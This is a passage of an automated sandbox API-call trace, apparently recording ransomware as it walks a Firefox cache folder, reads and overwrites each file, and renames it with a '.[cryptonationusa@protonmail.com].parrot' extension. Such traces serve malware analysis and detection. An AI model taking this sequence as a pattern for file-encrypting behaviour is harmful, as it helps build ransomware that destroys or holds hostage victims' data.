nFileSizeLow=0xf888, dwReserved0=0x0, dwReserved1=0x0, cFileName="7E0FEd01", cAlternateFileName="")) returned 1 [0087.425] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.425] ReadFile (in: hFile=0x268, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0087.426] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.427] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xf888, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e024*=0xf888, lpOverlapped=0x0) returned 1 [0087.429] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.431] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\23\\7E0FEd01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\f\\23\\7e0fed01"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\23\\7E0FEd01.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\f\\23\\7e0fed01.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0087.434] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\23\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0087.434] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f6de30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc16d7100, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc16d7100, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.435] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb7f6de30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f6de30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xc16d7100, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xf9a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="7E0FEd01.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="7E0FED~1.PAR")) returned 1 [0087.435] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\F0\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0087.435] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.435] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82329dd0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x82329dd0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x82329dd0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.435] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.436] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.436] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82329dd0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x82329dd0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x823c2350, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xa80f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECB2Dd01", cAlternateFileName="")) returned 1 [0087.436] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.436] ReadFile (in: hFile=0x268, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0087.437] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.437] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xa80f, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e024*=0xa80f, lpOverlapped=0x0) returned 1 [0087.441] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.444] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\F0\\ECB2Dd01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\f\\f0\\ecb2dd01"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\F0\\ECB2Dd01.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\f\\f0\\ecb2dd01.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0087.447] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\F0\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0087.447] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82329dd0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xc16fd260, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc16fd260, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.447] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82329dd0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x82329dd0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xc16fd260, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xa928, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECB2Dd01.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ECB2DD~1.PAR")) returned 1 [0087.449] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0087.449] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x82329dd0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x82329dd0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.450] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f6de30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc16d7100, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc16d7100, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="23", cAlternateFileName="")) returned 1 [0087.450] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82329dd0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xc16fd260, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc16fd260, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="F0", cAlternateFileName="")) returned 1 [0087.450] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82329dd0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xc16fd260, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc16fd260, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="F0", cAlternateFileName="")) returned 0 [0087.451] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.451] ReadFile (in: hFile=0x278, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0087.452] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.452] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e604*=0x100000, lpOverlapped=0x0) returned 1 [0087.498] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.498] WriteFile (in: hFile=0x278, lpBuffer=0x6a90d8*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x6a90d8*, lpNumberOfBytesWritten=0x18e604*=0x118, lpOverlapped=0x0) returned 1 [0087.568] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.568] WriteFile (in: hFile=0x278, lpBuffer=0x3040040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x3040040*, lpNumberOfBytesWritten=0x18e604*=0x100000, lpOverlapped=0x0) returned 1 [0087.574] UnlockFile (hFile=0x278, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x400118, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.574] CloseHandle (hObject=0x278) returned 1 [0087.575] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\_CACHE_001_" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\_cache_001_"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\_CACHE_001_.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\_cache_001_.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0087.583] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.583] ReadFile (in: hFile=0x278, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0087.584] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.584] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e604*=0x100000, lpOverlapped=0x0) returned 1 [0087.670] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.670] WriteFile (in: hFile=0x278, lpBuffer=0x6a90d8*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x6a90d8*, lpNumberOfBytesWritten=0x18e604*=0x118, lpOverlapped=0x0) returned 1 [0087.945] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.945] WriteFile (in: hFile=0x278, lpBuffer=0x3040040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x3040040*, lpNumberOfBytesWritten=0x18e604*=0x100000, lpOverlapped=0x0) returned 1 [0087.951] UnlockFile (hFile=0x278, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x400118, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.951] CloseHandle (hObject=0x278) returned 1 [0087.951] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\_CACHE_002_" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\_cache_002_"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\_CACHE_002_.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\_cache_002_.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0087.960] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.960] ReadFile (in: hFile=0x278, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0087.961] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.961] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e604*=0x100000, lpOverlapped=0x0) returned 1 [0088.007] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.007] WriteFile (in: hFile=0x278, lpBuffer=0x6a90d8*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x6a90d8*, lpNumberOfBytesWritten=0x18e604*=0x118, lpOverlapped=0x0) returned 1 [0088.028] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.028] WriteFile (in: hFile=0x278, lpBuffer=0x3040040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x3040040*, lpNumberOfBytesWritten=0x18e604*=0x100000, lpOverlapped=0x0) returned 1 [0088.035] UnlockFile (hFile=0x278, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x400118, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.035] CloseHandle (hObject=0x278) returned 1 [0088.036] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\_CACHE_003_" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\_cache_003_"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\_CACHE_003_.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\_cache_003_.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0088.079] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.079] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0088.080] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.081] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2114, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e604*=0x2114, lpOverlapped=0x0) returned 1 [0088.082] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.083] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\_CACHE_MAP_" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\_cache_map_"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\_CACHE_MAP_.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\_cache_map_.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0088.086] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0088.086] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc1d16ac0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc1d16ac0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.086] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x81eff750, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81eff750, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0", cAlternateFileName="")) returned 1 [0088.086] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x826bbed0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x826bbed0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1", cAlternateFileName="")) returned 1 [0088.086] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb64f2970, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2", cAlternateFileName="")) returned 1 [0088.086] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb727c690, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb727c690, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3", cAlternateFileName="")) returned 1 [0088.086] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb64f2970, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="4", cAlternateFileName="")) returned 1 [0088.086] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb64f2970, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5", cAlternateFileName="")) returned 1 [0088.086] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="6", cAlternateFileName="")) returned 1 [0088.086] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="7", cAlternateFileName="")) returned 1 [0088.086] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="8", cAlternateFileName="")) returned 1 [0088.086] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x81e8d330, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e8d330, 